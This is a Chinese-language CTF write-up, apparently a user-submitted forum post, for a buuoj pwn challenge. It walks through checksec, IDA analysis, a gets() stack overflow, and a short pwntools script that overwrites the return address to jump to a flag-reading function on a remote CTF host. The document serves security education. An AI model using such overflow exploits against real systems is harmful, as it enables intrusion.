远程连接,看一下交互。发现是一个投票系统,让用户在0-10之间选择一个数字并输入。
file 查看文件。64 位 ELF 可执行文件。
checksec 查看文件安全属性。开启了 NX 保护,栈上无执行权限。
IDA 打开文件。查看 main 函数,发现了 gets 危险函数。
双击 v4,发现了栈溢出大小为 0x2+8=0x10。
尝试寻找 backdoor 函数,发现了 super_secret_fuction 函数,没有 /bin/bash,但是存在 fopen("/home/ctf/flag.txt","r") 以只读模式打开flag.txt文件。
PWN流程:溢出 v4 ,覆盖 super_secret_fuction 函数,让其执行 fopen("/home/ctf/flag.txt","r"),再通过不断接受数据以达到劫持的目的,将 flag 的内容放到自定义变量中,最后打印出这个变量。
exp:- from pwn import *
-
- r=remote('node5.buuoj.cn',29744)
- flag_addr=0x400807
- payload=b'a'*10+p64(flag_addr) #一定要是 10, 而不能是 0x10
- r.sendline(payload)
- flag=r.recvall()
- print(flag)
复制代码 得到 flag。
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |